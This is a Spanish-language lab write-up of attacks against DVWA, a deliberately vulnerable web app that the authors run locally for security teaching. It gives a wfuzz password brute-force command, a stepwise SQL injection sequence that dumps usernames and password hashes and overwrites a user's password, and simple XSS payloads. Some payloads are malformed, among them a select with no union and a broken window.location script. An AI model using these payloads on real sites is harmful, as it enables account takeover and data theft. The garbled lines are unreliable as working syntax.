Demostración

_ Para la demostración usamos una aplicación web llamada Damn Vulnerable Web Application (DVWA). Sus principales objetivos son ayudar a los profesionales de la seguridad a poner a prueba sus habilidades y herramientas en un entorno legal, ayudar a los desarrolladores web a comprender mejor los procesos de protección de las aplicaciones web y ayudar a los profesores / estudiantes a enseñar / aprender sobre seguridad de las aplicaciones web en un entorno de aula.

_ Esta aplicación fue montada en una máquina virtual corriendo kali linux y de ahí usamos mariadb para la bases de datos y apache server para el servidor.

_ Para demostrar pocas prácticas de seguridad utilizamos los ataques de fuerza bruta, inyección SQL y Cross site scripting.

Fuerza bruta

_ Con la herramienta wfuzz y con el usuario admin que sacamos de la inyección sql probamos acceder la la una lista de contraseñas:

wfuzz --hs "incorrect" -c -w wpa2-wordlists/PlainText/baby.txt -b 'security=low; PHPSESSID=idg7chuihuthkfovf63u1ot9s4'

'http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password=FUZZ&Login =Login#'

Inyeccion SQL

_ Primero a través del URL verificamos si en el campo de texto es vulnerable para un ataque con inyección intentado que la página nos devuelva un error a través de comandos SQL.

id=2'

_ Lo próximo que debemos hacer es verificar cuantas columnas tiene la tabla que modifica el campo

```
id=1' order by 1--+
id=1' order by 1,2--+
id=1' order by 1,2,3--+
_ Podemos ver que tiene 2 columnas nomas
id=1' union select 1,2 --+
```

```
_ Ahora vamos a ver el nombre de la base de datos y la versión en uso de la misma:
id=1' select database(), version()--+
_ Seguido a esto podemos ver cuales son las tablas en las bases de datos y vemos que
nuestro objetivo tiene el nombre de users:
id=1' union select 1,table_name from information schema.tables--+
_ Ahora podemos buscar las columnas en donde la tabla tenga el nombre users pero no
podemos poner user directamente por eso lo ponemos en decimal y luego lo convertimos
en char:
id=1' union select 1,column_name from information_schema.columns where
table_name="users" --+
id=1' union select user, password from users --+ Pruebo actualizar un usuario
; update users set first name='martin', last name = 'caceres', password=md5(contra)
where user id = 4; --+
MD5 Decrypt online
Cross site scripting
Dificultad baja no existe medidas
_ Dificultad media solo en el mensaje Dificultad alta no permite el tag script
<script>alert("hola")</script>
<a onclick="alert(1)">test</a>
<script>window,location("http\\:ucc.edu.ar")</script>
```